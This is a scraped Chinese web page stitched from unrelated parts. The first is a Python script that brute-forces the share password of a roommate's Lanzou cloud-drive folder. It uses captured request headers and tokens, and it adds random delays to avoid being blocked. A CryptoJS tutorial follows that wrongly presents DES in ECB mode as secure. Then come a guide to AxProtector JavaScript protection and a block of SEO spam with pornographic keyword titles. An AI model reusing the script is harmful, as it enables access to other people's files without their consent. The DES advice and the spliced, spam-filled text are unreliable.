整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          室友網盤收藏了挺多好東西,利用Python編寫窮舉法猜密碼

          開鏈接, F12,網絡,一頓headers,Python代碼如下:

          私信小編01即可獲取大量Python學習資源

          #lanzou 藍奏云盤密碼窮舉import requests
          import time #延遲一個時間段,避免被網頁拒絕
          import random #隨機數,制造隨機時間
          start=40000
          s=requests.session()
          wangzhi= "https://yxsp.lanzous.com/filemoreajax.php"
          zimu=[chr(i) for i in range(ord("a"), ord("z") + 1)]
          shuzi=[str(i) for i in range(0,10)]
          shuzi.extend(zimu) #將字母列表加到數字列表末尾
          mimabiao=shuzi
          print(mimabiao)
          mima=[]
          for yi in mimabiao:
              for er in mimabiao:
                  for san in mimabiao:
                      for si in mimabiao:
                          #time.sleep(random.random()*500) #每次隨機停頓一個時間
                          mima_temp=yi+er+san+si
                          mima.append(mima_temp)
          if(len(mima)==36*36*36*36):
              print("密碼字典生成正常,開始窮舉嘗試")
          else:
              print("密碼字典生成有誤,請仔細檢查。")
              print("正常大小應該是%d,現在大小是%d"%(36*36*36*36, len(mima)) )
          xiaoxitou={"Accept":"application/json, text/javascript, */*","Accept-Encoding":"gzip, deflate, br","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Connection":"keep-alive","Content-Length":"106","Content-Type":"application/x-www-form-urlencoded","Cookie":"codelen=1; pc_ad1=1","Host":"yxsp.lanzous.com","Origin":"https://yxsp.lanzous.com","Referer":"https://yxsp.lanzous.com/b01ztsove","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3202.9 Safari/537.36","X-Requested-With":"XMLHttpRequest"}
           
          for i in range(start,1679616+1):  #36x36x36x36=1679616。密碼是4位,每位是0-9和a-z
              shuju = "lx=2&fid=2836724&uid=1808316&pg=1&rep=0&t=1610610122&k=eb147f635d120d10b7a16d4ff58ac803&up=1&ls=1&pwd=" + mima[i]
              res = s.post(url=wangzhi, headers=xiaoxitou, data=shuju)
              jieguo = eval(res.text)
              tag = jieguo['zt']
              print(mima[i],jieguo['info'],',當前進度:',i,1679616,i/1679616*100,r"%")
              time.sleep(random.random())
              if tag==1:
                  print('正確密碼是:',mima[i])
                  break
           
          if(tag!=1):
              print('密碼未找到')


          python跑很長時候會莫名其妙報錯,終止程序。
          記下上次跑到最后一個的結果,改第5行的start值接著執行。
          我跑了前40000個,都不是。總密碼數量是1679616個,祝好運。

          現代的互聯網時代,數據安全性備受關注。為了保護敏感數據的機密性,對稱加密算法是一種常用的方法。在JavaScript中,DES(Data Encryption Standard)是一種常用的對稱加密算法。本篇博客將為您展示如何在JavaScript中使用DES算法進行加密和解密,并提供一個實際的例子。

          首先,我們需要使用CryptoJS庫來實現JavaScript中的DES加密算法。請確保您已經引入了CryptoJS庫。以下是一個使用DES算法對字符串進行加密和解密的實際示例:

          // 引入CryptoJS庫
          const CryptoJS = require("crypto-js");
          
          // 定義密鑰和待加密的字符串
          const key = CryptoJS.enc.Utf8.parse("mySecretKey"); // 密鑰需要進行字節數轉換
          const plaintext = "Hello, World!";
          
          // 使用DES算法進行加密
          const encrypted = CryptoJS.DES.encrypt(plaintext, key, {
            mode: CryptoJS.mode.ECB, // 使用ECB模式
            padding: CryptoJS.pad.Pkcs7, // 使用Pkcs7填充
          }).toString();
          
          console.log("加密后的密文:", encrypted);
          
          // 解密密文
          const decrypted = CryptoJS.DES.decrypt(encrypted, key, {
            mode: CryptoJS.mode.ECB,
            padding: CryptoJS.pad.Pkcs7,
          }).toString(CryptoJS.enc.Utf8);
          
          console.log("解密后的明文:", decrypted);

          在上述代碼中,我們首先引入了CryptoJS庫,并定義了密鑰和待加密的字符串。接下來,我們使用?CryptoJS.DES.encrypt??方法加密字符串,通過指定加密模式和填充方式,我們可以確保加密的安全性。最后,我們使用??CryptoJS.DES.decrypt??方法對密文進行解密,并將解密后的明文輸出。

          請注意,在實際應用中,您需要根據需求設置更強的密鑰,以增強加密的安全性。密鑰的選擇是保護您的數據安全的關鍵。

          總結: 在JavaScript中使用DES對稱加密算法可以有效地保護敏感數據的安全性。通過使用CryptoJS庫,您可以輕松地使用DES算法對字符串進行加密和解密。本文提供了一個實際的例子,演示了如何在JavaScript中使用DES算法對字符串進行加密和解密。您可以根據您的實際需求,靈活應用DES算法來保護您的數據安全。

          JavaScript 的腳本程序現已支持加密。

          關鍵詞:JavaScriptelectronNode.jsJS加密代碼保護

          準備工作

          1. 建議JavaScript的加密操作都在上Windows進行。

          2. 請先安裝CodeMeter SDK開發包(可通過光盤及下載鏈接安裝)。

          3. 插上加密鎖(測試鎖或正式母鎖)。

          4. 測試時,需要獲取以下加密js程序的測試授權(對應【公司碼: 產品碼 】):

          6000099: 1723】:AxProtector JavaScript (Trial)

          6000099: 1720】:AxProtector JavaScript - CodeMoving (Trial)

          如需購買正式授權,請訪問威步官網。

          5. 必要的JavaScript環境。

          如何加密JavaScript程序

          如果是首次進行JavaScript加密,需要進行如下操作

          以Win10為例,

          1. 打開【開始】菜單,在【Windows系統】文件夾下找到【命令提示符】,右擊選擇【以管理員身份運行】:

          2. 執行命令:

          cd /d C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript

          3. 執行命令

          npm install

          執行成功后

          C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript

          目錄下會新增node_modules文件夾。

          說明:

          如果執行失敗,請確認是否是以管理員身份運行的命令行。

          如果此電腦上已經執行過上述操作,則可以進入以下步驟:

          1. 新建protect.yaml配置文件。

          首先創建空白的txt文件(文本文檔),將文件名改為protect.yaml(格式為yaml格式,不是txt格式),之后輸入以下內容:

          Options: {}
          Licenses:
          
          - Name: Default
          Type: CodeMeter
          #此處填入公司碼(示例公司碼為6000010)
          FirmCode: 6000010
          #此處填入產品碼(示例公司碼為13)
          ProductCode: 13
          
          FilesToEncrypt:
          #此處填入需要加密的js文件的名稱(示例為index.js)
          #若為electron框架,不可加密main.js
          Input: index.js
          #此處為保存加密后文件的文件夾名稱,無需更改
          OutputFolder: prot
          
          LicenseLists:
          - Id: 0
          Licenses:
          - Default

          需要將創建好的protect.yaml文件置于被加密文件的同級目錄中。

          2. 打開【開始】菜單,在【Windows系統】文件夾下找到【命令提示符】,右擊選擇【以管理員身份運行

          3. 執行命令:

          cd /d D:\codeproject\js\nodejs-getting-started-master\nodejs-getting-started-master

          此處替換為需要加密的項目的路徑

          4. 執行命令:

          node “C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript\Axprotector.js” protect.yaml

          5. 將加密后的文件替換成原始文件:


          主站蜘蛛池模板: 中文字幕精品一区二区日本| 国产成人精品第一区二区| 国产婷婷色一区二区三区深爱网| 欧美日韩一区二区成人午夜电影| 日本一区二区三区日本免费| 日韩AV无码一区二区三区不卡| 日本一区二区三区在线视频 | 夜夜精品无码一区二区三区| 无码av免费一区二区三区| 视频一区二区三区免费观看| 大香伊人久久精品一区二区| 一区二区三区午夜视频| 无码少妇精品一区二区免费动态| 色欲AV无码一区二区三区| 国模精品视频一区二区三区| 色窝窝无码一区二区三区色欲| 亚洲av无码不卡一区二区三区| 亚洲综合无码AV一区二区| 国产高清视频一区三区| 日本一区频道在线视频| 成人精品视频一区二区三区尤物| 精品无码成人片一区二区98| 亚洲国产精品综合一区在线| 日韩一区在线视频| 亚洲国产一区二区三区在线观看 | 久久99精品免费一区二区| 国产在线不卡一区二区三区| 色老板在线视频一区二区| 国产精品小黄鸭一区二区三区 | 日韩精品无码一区二区中文字幕| 在线观看国产区亚洲一区成人 | 无码人妻精品一区二区三18禁| 中文字幕日韩人妻不卡一区| 久久se精品动漫一区二区三区| 无码国产精品一区二区免费16| 无码喷水一区二区浪潮AV| 伊人精品视频一区二区三区| 国产短视频精品一区二区三区| 国产成人欧美一区二区三区 | 久久无码人妻一区二区三区午夜| 学生妹亚洲一区二区|